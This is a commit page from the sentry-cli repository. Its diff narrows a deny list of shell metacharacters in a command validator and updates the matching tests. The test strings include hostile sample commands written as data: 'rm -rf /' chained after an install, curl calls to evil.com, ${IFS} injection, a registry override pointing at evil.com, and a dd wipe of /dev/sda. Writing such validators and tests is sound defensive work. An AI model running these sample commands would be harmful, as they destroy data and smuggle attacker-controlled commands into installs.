Skip to content

Commit 0dca797

Browse files
committed
Merge remote-tracking branch 'origin/main' into refactor/gitignore-generated-docs
# Conflicts: # docs/src/content/docs/commands/dashboard.md # docs/src/content/docs/commands/event.md # docs/src/content/docs/commands/issue.md # docs/src/content/docs/commands/span.md # docs/src/content/docs/commands/trace.md # docs/src/fragments/commands/log.md # plugins/sentry-cli/skills/sentry-cli/references/dashboard.md # plugins/sentry-cli/skills/sentry-cli/references/event.md # plugins/sentry-cli/skills/sentry-cli/references/issue.md # plugins/sentry-cli/skills/sentry-cli/references/log.md # plugins/sentry-cli/skills/sentry-cli/references/span.md # plugins/sentry-cli/skills/sentry-cli/references/trace.md
2 parents 42febe5 + 07da58d commit 0dca797

File tree

2 files changed

+28
-61
lines changed

2 files changed

+28
-61
lines changed

src/lib/init/local-ops.ts

Lines changed: 10 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -96,40 +96,31 @@ function prettyPrintJson(content: string, indent: JsonIndent): string {
9696
}
9797

9898
/**
99-
* Shell metacharacters that enable chaining, piping, substitution, or redirection.
100-
* All legitimate install commands are simple single commands that don't need these.
99+
* Patterns that indicate shell injection. Commands run via `spawn` (no shell),
100+
* so these have no runtime effect — they are defense-in-depth against command
101+
* chaining, piping, redirection, and command substitution.
101102
*
102-
* Ordering matters for error-message accuracy (not correctness): multi-character
103-
* operators like `&&` and `||` are checked before their single-character prefixes
104-
* (`&`, `|`) so the reported label describes the actual construct the user wrote.
103+
* Characters that are harmless without a shell — quotes, braces, globs,
104+
* parentheses, backslashes, bare `$`, `#` — are intentionally NOT blocked.
105+
* They appear in legitimate package specifiers like
106+
* `pip install sentry-sdk[django]` or version ranges with `*`.
107+
*
108+
* Ordering: multi-char operators (`&&`, `||`) before single-char prefixes
109+
* (`&`, `|`) so the reported label describes what the user actually wrote.
105110
*/
106111
const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> =
107112
[
108113
{ pattern: ";", label: "command chaining (;)" },
109-
// Check multi-char operators before single `|` / `&` so labels are accurate
110114
{ pattern: "&&", label: "command chaining (&&)" },
111115
{ pattern: "||", label: "command chaining (||)" },
112116
{ pattern: "|", label: "piping (|)" },
113117
{ pattern: "&", label: "background execution (&)" },
114118
{ pattern: "`", label: "command substitution (`)" },
115119
{ pattern: "$(", label: "command substitution ($()" },
116-
{ pattern: "(", label: "subshell/grouping (()" },
117-
{ pattern: ")", label: "subshell/grouping ())" },
118-
{ pattern: "$", label: "variable/command expansion ($)" },
119-
{ pattern: "'", label: "single quote (')" },
120-
{ pattern: '"', label: 'double quote (")' },
121-
{ pattern: "\\", label: "backslash escape (\\)" },
122120
{ pattern: "\n", label: "newline" },
123121
{ pattern: "\r", label: "carriage return" },
124122
{ pattern: ">", label: "redirection (>)" },
125123
{ pattern: "<", label: "redirection (<)" },
126-
// Glob and brace expansion — brace expansion is the real risk
127-
// (e.g. `npm install {evil,@sentry/node}`)
128-
{ pattern: "{", label: "brace expansion ({)" },
129-
{ pattern: "}", label: "brace expansion (})" },
130-
{ pattern: "*", label: "glob expansion (*)" },
131-
{ pattern: "?", label: "glob expansion (?)" },
132-
{ pattern: "#", label: "shell comment (#)" },
133124
];
134125

135126
const WHITESPACE_RE = /\s+/;

test/lib/init/local-ops.test.ts

Lines changed: 18 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,22 @@ describe("validateCommand", () => {
5656
}
5757
});
5858

59-
test("blocks shell metacharacters", () => {
59+
test("allows shell-harmless characters that appear in package specifiers", () => {
60+
for (const cmd of [
61+
'pip install "sentry-sdk[django]"',
62+
"pip install 'sentry-sdk[flask]'",
63+
"npm install sentry-sdk@*",
64+
"npm install sentry-?.js",
65+
"npm install {evil,@sentry/node}",
66+
"npm install evil-pkg#benign",
67+
"npm install foo\\bar",
68+
"(echo test)",
69+
]) {
70+
expect(validateCommand(cmd)).toBeUndefined();
71+
}
72+
});
73+
74+
test("blocks shell injection patterns", () => {
6075
for (const cmd of [
6176
"npm install foo; rm -rf /",
6277
"npm install foo && curl evil.com",
@@ -74,43 +89,6 @@ describe("validateCommand", () => {
7489
}
7590
});
7691

77-
test("blocks subshell bypass via parentheses", () => {
78-
for (const cmd of ["(rm -rf .)", "(curl evil.com)"]) {
79-
expect(validateCommand(cmd)).toContain("Blocked command");
80-
}
81-
});
82-
83-
test("blocks shell escape bypass attempts", () => {
84-
for (const cmd of [
85-
"npm install foo$'\\x3b'whoami",
86-
// biome-ignore lint/suspicious/noTemplateCurlyInString: testing literal ${IFS} in command string
87-
"npm install foo${IFS}curl evil.com",
88-
"npm install foo\\nwhoami",
89-
"echo 'hello'",
90-
]) {
91-
expect(validateCommand(cmd)).toContain("Blocked command");
92-
}
93-
});
94-
95-
test("blocks glob and brace expansion characters", () => {
96-
for (const cmd of [
97-
"npm install {evil,@sentry/node}",
98-
"npm install sentry-*",
99-
"npm install sentry-?.js",
100-
]) {
101-
expect(validateCommand(cmd)).toContain("Blocked command");
102-
}
103-
});
104-
105-
test("blocks shell comment character to prevent command truncation", () => {
106-
for (const cmd of [
107-
"npm install evil-pkg # @sentry/node",
108-
"npm install evil-pkg#benign",
109-
]) {
110-
expect(validateCommand(cmd)).toContain("Blocked command");
111-
}
112-
});
113-
11492
test("blocks environment variable injection in first token", () => {
11593
for (const cmd of [
11694
"npm_config_registry=http://evil.com npm install @sentry/node",
@@ -130,8 +108,8 @@ describe("validateCommand", () => {
130108
"kill -9 1",
131109
"dd if=/dev/zero of=/dev/sda",
132110
"ssh user@host",
133-
"bash -c 'echo hello'",
134-
"sh -c 'echo hello'",
111+
"bash -c echo",
112+
"sh -c echo",
135113
"env npm install foo",
136114
"xargs rm",
137115
]) {
@@ -140,13 +118,11 @@ describe("validateCommand", () => {
140118
});
141119

142120
test("resolves path-prefixed executables", () => {
143-
// Safe executables with paths pass
144121
expect(
145122
validateCommand("./venv/bin/pip install sentry-sdk")
146123
).toBeUndefined();
147124
expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined();
148125

149-
// Dangerous executables with paths are still blocked
150126
expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"');
151127
expect(validateCommand("/usr/bin/curl https://evil.com")).toContain(
152128
'"curl"'

0 commit comments

Comments
 (0)